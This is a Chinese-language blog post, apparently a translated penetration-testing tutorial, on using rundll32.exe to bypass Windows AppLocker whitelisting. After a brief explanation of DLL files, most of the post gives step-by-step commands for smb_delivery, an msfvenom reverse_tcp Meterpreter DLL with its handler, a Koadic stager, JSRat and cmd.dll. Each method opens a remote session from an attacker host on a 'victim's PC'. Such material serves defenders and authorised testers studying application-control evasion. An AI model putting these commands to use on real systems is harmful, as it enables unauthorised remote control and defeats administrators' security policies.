使用rundll32.exe绕过应用程序白名单

本文演示了将AppLocker旁路列入白名单的最常见和熟悉的技术。众所周知,出于安全原因,系统管理员添加了组策略来限制本地用户执行应用。在上一篇文章中,我们讨论了“ Windows Applocker策略-入门指南 ”,因为它们定义了应用程序控制策略的AppLocker规则以及如何使用它们。但是今天,您将学习如何通过RunDLL文件绕过Applocker策略。

目录表
  • 介绍
  • DLL文件的工作
  • 好处
  • 缺点
  • 使用DLL文件的AppLocker绕过的不同方法
  • 结论
介绍

DLL文件对于Windows的操作系统正常工作非常重要,它还决定了自定义Windows的其他程序的工作。动态链接库(DLL)文件是为其他程序提供有关如何调用某些内容的指令的文件类型。因此,多个软件甚至可以同时共享此类DLL文件。尽管与.exe文件格式相同,但DLL文件不能像.exe文件那样直接执行。DLL文件扩展名可以是.dll(动态链接库)、. OCX(ActiveX控件)、. CPL(控制面板)、. DRV(设备驱动程序)。

加工

使用时,DLL文件分为几部分。这使DLL文件的工作变得容易和快捷。每个部分都在运行时安装在主程序中。由于每个部分都不同且独立;加载时间更快,并且仅在需要所述文件的功能时才完成。此功能还使升级更易于应用,而不会影响其他部分。例如,您有一个字典程序,每个月都会添加新单词,因此,您要做的就是更新它;无需为其安装另一个程序。

好处

  • 使用更少的资源
  • 促进模块化架构
  • 简化部署和安装

缺点

  • 从属DLL升级到新版本。
  • 从属DLL是固定的。
  • 从属DLL被早期版本覆盖。
  • 从计算机中删除了一个依赖的DLL。
方法
  • Smb_Delivery
  • MSFvenom
  • Koadic
  • 通过cmd.dll获取命令提示符(Get-Command Prompt via cmd.dll)
  • JSRat
SMB Delivery

因此,我们的方法使用的是smb_delivery。要使用此方法,请在kali中打开终端,然后键入以下命令;

msfconsole

use exploit/windows/smb/smb_delivery

msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107

msf exploit(windows/smb/smb_delivery) > exploit

现在,通过Windows计算机中的rundll32.exe运行恶意代码,以获取Meterpreter会话。

当以上漏洞利用将运行时,它将为您提供要在受害者的PC上执行的命令;为了获得一个会话。因此,将给定命令复制并粘贴到受害者的PC的运行窗口中,如下图所示:

rundll32.exe \\192.168.1.107\ZtmW\test.dll,0

一旦执行该命令,您将具有Meterpreter会话。要访问会话,请输入:

sessions 1

sysinfo

MsfVeom

我们的第二种方法是通过MSFVenom。要使用此方法,请在kali终端中键入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll

创建有效负载后,请在受害者的PC的运行窗口中运行以下命令:

rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll

同时,通过键入以下内容来启动multi / handler以获取会话:

msfconsole

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.1.107

msf exploit(multi/handler) > set lport 1234

msf exploit(multi/handler) > exploit

Koadic

我们的下一个方法是使用Koadic框架。Koadic是Windows开发后的rootkit,与其他渗透测试工具(例如Meterpreter和Powershell Empire)相似。要了解有关Koadic的更多信息,请通过以下链接阅读有关该框架的详细文章:https ://www.hackingarticles.in/koadic-com-command-control-framework

当koadic启动并运行后,键入:

use stager/js/rundll32_js

set SRVHOST 192.168.1.107

run

运行漏洞利用程序会给您一个命令。将该命令从rundll32.exe复制到6.0”),然后将其粘贴到受害者PC的命令提示符中。

在cmd中运行命令后,即可进行会话。如下图所示。

要访问会话,请输入:

zombies 0

通过cmd.dll获取命令提示符

现在的难题是,如果在受害者的PC中阻止了命令提示符,该怎么办。

如果命令行被阻止,则可以使用Didier Stevens开发的脚本来解决小问题。您可以在以下链接中找到它们:

//didierstevens.com/files/software/cmd-dll_v0_0_4.zip

在上述URL中,您将下载一个zip文件。解压缩该zip文件,并使用以下命令在运行窗口中运行该文件:

rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll

运行命令后,您将立即取消阻塞该cmd。如下所示:

JSRat

攻击regsvr32的下一种方法是使用JSRat,您可以从GitHub下载它  。这是另一个命令和控制框架,就像koadic和Powershell Empire一样,仅用于rundll32.exe和regsvr32.exe生成恶意任务。JSRat将创建一个Web服务器,并在该Web服务器上找到我们的.js文件。要使用此方法,请输入:

./JSRat.py -i 192.168.1.107 -p 4444

JSRat开始工作后,它将为您提供在浏览器中打开的链接。该网页将具有将在受害者的PC上执行的代码。

因此,在浏览器中打开//192.168.1.107/wtf链接。您将在其中找到所述代码,如下图所示:

在受害者计算机的命令提示符中运行该代码,如下所示:

瞧,您将看到一个会话,如下图所示:

结论

DLL文件是各种代码和过程的集合。这些文件可帮助Windows程序准确执行。这些文件是为多个程序创建的,以同时使用它们。此技术有助于保存内存。因此,这些文件很重要,并且Windows要求它们正常运行,而不会给用户带来任何类型的问题。因此,通过此类文件进行的利用非常有效且致命。上面介绍的方法是不同的方法。

posted @ 2020-09-28 15:03  我要变超人  阅读(368)  评论(0编辑  收藏  举报